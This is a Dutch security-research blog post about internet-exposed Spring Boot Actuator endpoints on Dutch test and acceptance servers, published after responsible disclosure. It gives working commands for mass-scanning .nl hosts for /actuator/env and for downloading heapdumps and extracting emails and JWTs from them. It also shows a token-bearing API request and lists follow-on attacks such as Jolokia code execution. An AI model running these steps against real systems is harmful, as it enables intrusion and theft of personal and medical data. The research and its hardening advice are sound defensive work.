Elke vrijdag hebben de Ethische Hackers van Onvio de ruimte om eigen onderzoeken uit te voeren met als doel de BV Nederland veiliger te maken.

Bij deze onderzoeken zien wij steeds vaker voorkomen dat test- en acceptatie-omgevingen via het internet zijn ontsloten. Dit vergroot het aanvalsoppervlak van de applicatie. Daarnaast zijn testomgevingen vaak voor debug-doeleinden minder strak geconfigureerd dan een productieomgeving. Elke applicatie die aan het internet hangt wordt continu gescand door kwaadwillende op zoek naar Zero-Days (0-days) of bekende kwetsbaarheden.

Tijdens het uitvoeren van de Pentest op webapplicaties op basis van Java Spring Boot zien wij steeds vaker dat de Actuator Endpoints niet uitgeschakeld worden in test -en acceptatieomgevingen. Actuator Endpoints kunnen een kwaadwillende toegang geven tot het geheugen van de server. Dit inspireerde ons om dit probleem eens op grotere schaal in kaart te brengen.

Resultaat

Uit het onderzoek is gebleken dat zo’n tiental acceptatieomgevingen van verschillende organisaties de Actuator Endpoint hebben openstaan naar het internet. Bij een aantal bedrijven was het mogelijk om zonder authenticatie geldige gebruikerssessies en gevoelige persoonsgegevens zoals BSN-nummers, JWT tokens en medische data op te halen. Naar schatting konden er meer dan 100.000 gegevens op straat belanden.

In het kader van Responsible Disclosure hebben wij organisaties op de hoogte gebracht van dit risico om daarmee grote datalekken te voorkomen.

Spring Boot Actuator

Veel Java backend webapplicaties worden gebouwd met behulp van Spring Boot. De Spring Boot Actuator functionaliteit biedt monitoring en management features, zoals Health-checks, Metrics en technische informatie over de applicatie. Via HTTP Endpoints of JMX (Java Management Extensions) kunnen deze features benaderd worden. De Actuator kan aan een project toegevoegd worden door de spring-boot-starter-Actuator Dependency te importeren in Maven of Gradle.

In de officiële documentatie van Spring Boot staat aangegeven welke Endpoints default beschikbaar zijn en welke handmatig toegevoegd of uitgesloten kunnen worden.

Dit zijn voorbeelden van Actuator Endpoints en de bijbehorende functionaliteit:

  • /health – provides detailed information about the health of the application.
  • /info – provides general information about the application.
  • /env – provides information about the application’s Environment
  • /heapdump – provides a heap (memory) dump from the application’s Java Virtual Machine (JVM)
  • /jolokia – Jolokia is an open source product that provides an HTTP API interface for JMX (Java Management Extensions) technology.
  • /restart – restarts the application

Er zijn nog veel meer Endpoints/functionaliteiten beschikbaar afhankelijk van de configuratie. Een overzicht van alle mogelijke beschikbare Spring Actuator Endpoints zijn hier te vinden:

https://docs.spring.io/spring-boot/docs/current/Actuator-api/htmlsingle/

Scannen van 10 miljoen Nederlandse websites en testomgevingen naar Actuator Endpoints

We hebben een dataset van 10 miljoen Nederlandse subdomeinen (*.nl) verzameld (hosts). Wanneer er een SSL-certificaat wordt aangevraagd voor testdomeinen dan zijn deze te raadplegen via Certificate Transparency zoekmachines zoals https://crt.sh.

Het Rapid7 Project Sonar verzamelt actuele gegevens van alle DNS A Records via openbare bronnen:

https://opendata.rapid7.com/sonar.fdns_v2/

Met de volgende commando’s kunnen we de Project Sonar Forward DNS database ophalen en alle *.nl hosts eruit filteren.

wget https://opendata.rapid7.com/sonar.fdns_v2/2021-09-24-1632442426-fdns_a.json.gz
cat 2021-08-27-fdns_a.json | jq -r '.name' | grep '.nl$' > nldomains.txt

In de enorme lijst van nldomains.txt zijn alle (sub)domeinen met *.nl als extentie te vinden waaronder test en acceptatie subdomeinen:

cat nldomains.txt
test.bedrijf-A.nl
acceptatie.bedrijf-B.nl
beheer.act.bedrijf-C.nl
acc.bedrijf-D.nl
[...]

Er zitten veel hostnames van routers en statische IP adressen in dit lijst die niet interresant zijn in het kader van dit onderzoek. Die hebben wij met een aantal sed commando’s eruit gefilterd.

sed -i '/.dsl./d' nldomains.txt
sed -i '/.adsl./d' nldomains.txt
sed -i '/.dhcp./d' nldomains.txt
sed -i '/.static.nl/d' nldomains.txt
[…]

Na de aanpassingen hebben we het doelwit verkleind van 25 miljoen naar 10 miljoen hosts. Vervolgens het doelwit aangepast naar de bekende Actuator functionaliteit: /env.

awk '{print "https://"$1}' nldomains.txt | awk '{print $0"/actuator/env"}' > nldomains_actuator.txt

Het resultaat is een lijst met alle (*.nl) subdomeinen of acceptatieomgevingen die mogelijk de Actuator Endpoint hebben openstaan.

cat nldomains_actuator.txt
https://test.bedrijf-A.nl/actuator/env 
https://acceptatie.bedrijf-B.nl/actuator/env 
https://beheer.act.bedrijf-C.nl/actuator/env
https://acc.bedrijf-D.nl/actuator/env
[...]

Met de tool httpx deden we een scan naar alle hosts om te controleren of de /env endpoint informatie teruggeeft.

httpx -l nldomains_actuator.txt -random-agent -content-type -no-color -title -match-string "activeProfiles" -follow-redirects -status-code -o exposed_envs.txt

Risico’s van openstaande /Actuator/env Endpoint

Als voorbeeld gebruiken we een bedrijf die een Java Spring Boot applicatie met een Actuator Endpoint heeft openstaan naar de buitenwereld:

Voorbeeld https://acceptatie.voorbeeld.nl/actuator/env endpoint

De /env Endpoint van deze applicatie lekt technische gegevens zoals IP-adressen, externe koppelingen, API Endpoints en softwareversies, maar in dit geval ook licentiesleutels:

Licentiesleutel / API Key gelekt via de /env Endpoint

Het is vaak zelfs mogelijk om configuraties aan te passen door een POST verzoek te doen naar /env. Wanneer een aanvaller configuraties kan aanpassen leidt dit mogelijk tot onbeschikbaarheid van de applicatie of een aanvaller kan dit gebruiken om de applicatie verder binnen te dringen.

Risico’s van openstaande /Actuator/heapdump Endpoint

Middels de Heapdump kan een aanvaller inzage krijgen in het geheugen van het JVM proces. Met het volgende commando halen we de heapdump op en zetten dit om naar leesbare tekst.

wget -qO- https://acceptatie.voorbeeld.nl/Actuator/heapdump | strings > heapdump.txt

In de leesbare heapdump.txt zijn onder andere de volgende zaken in te zien:

  • Applicatie verkeer;
  • Sessie cookies,
  • JWT-access tokens
  • Persoonsgegevens van andere gebruikers.

Volledige HTTP Requests (GET/POST) zijn zichtbaar in de heapdump inclusief meegestuurde data en authenticatie tokens. Zie voorbeeld inhoud heapdump.txt hieronder:

cat heapdump.txt
Inhoud van een heapdump

Met de volgende grep regex commando kunnen e-mailadressen uit de heapdump worden uitgelezen.

grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" heapdump.txt
e-mailadressen uit heapdump

In de heapdump zijn ook JWT’s te vinden. JWT’s worden vaak gebruikt voor OAuth authenticatie en autorisatie het veilig ophalen van gevoelige gegevens via afgeschermde API’s.

Met de volgende grep regex commando kunnen JWT’s uit de heapdump worden uitgelezen.

grep -Po "(eyJ|YTo|Tzo|PD[89]|aHR0cHM6L|aHR0cDo|rO0)[a-zA-Z0-9+/]+={0,2}" heapdump.txt
JWT’s uit heapdump

Een JWT Payload (eyJ***) bevat informatie over de gebruiker. In dit geval zit in de JWT persoonlijke gegevens zoals namen, emailadressen en IP-adressen.

Voorbeeld inhoud van JWT (decoded)

Uit de heapdump kunnen ook API routes worden uitgelezen waarmee vervolgens gevoelige gegevens kunnen worden opgehaald. Hieronder een voorbeeld van een API verzoek met JWT.

GET /api/v4/p****s/ HTTP/1.1
Host: /acceptatie.voorbeeld.nl
accept:application/json, text/javascript, */*; q=0.011
content-type: application/json
Authorization: Bearer JHJ*****************

In de API Response zijn onder andere BSN-nummers, medische gegevens en adresgegevens te vinden. In dit geval meer dan 100.000 gegevens van verschillende gebruikers / patiënten.

HTTP/2 200 OK
[...]

"id": 7****,
"firstName": "A",
"lastName": "H**************f",
"gender": "*",
"dateOfBirth": "1*******",
"photo": "**** -311b****2c5.png",
"bsn": "1****8",
"street": "*******weg*",
"zipCode": "*******",
"city": "*******",

[...]

Met een geldige JWT is het in dit geval ook mogelijk om succesvol in te loggen. Het is een kwestie van tijd voordat een aanvaller alle gegevens van de applicatie kan verkrijgen, via een initieel simpele configuratiefout.

Overige Risico’s van openstaande Actuator Endpoints

  • Applicatie configuraties aanpassen via de POST /env Endpoint en vervolgens SQL Queries uitvoeren.
  • De applicatie onbeschikbaar maken via de /shutdown of /restart Endpoint.
  • Credentials in de heapdump en /env gebruiken om op afstand in te loggen in de database of andere applicaties.
  • Op afstand Java code uitvoeren met behulp van de /jokolia Endpoint.
  • Inloggen als beheerder door de sessie token of JWT te stelen uit de heapdump.

Aanbevelingen

  • Review alle test en acceptatie omgevingen en zorg dat deze nooit aan internet zijn ontsloten.
  • Maak gebruik van IP whitelisting of sterke authenticatie mechanismes.
  • Zet alle Actuator Endpoints /Actuator/* dicht in de Spring Boot Configuratie.
  • Voer een volledige externe netwerk/web applicatie Pentest uit om inzicht te krijgen in alle kwetsbaarheden en risico’s vanaf het internet.

Referenties

Remote Code Execution chain using Actuator Endpoints
https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-Actuators-and-h2-database

Exploiting Actuator Endpoints
https://www.veracode.com/blog/research/exploiting-spring-boot-Actuators

Actuator SSRF to RCE writeup
https://thinkloveshare.com/hacking/ssrf_to_rce_with_jolokia_and_mbeans/

Spring Boot Actuator checklist
https://www.fatalerrors.org/a/exploit-spring-boot-related-exploit-check-list.html

https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spring-boot-actuators

Spring Boot Actuator Exploits Proof of Concepts
https://github.com/pyn3rd/Spring-Boot-Vulnerability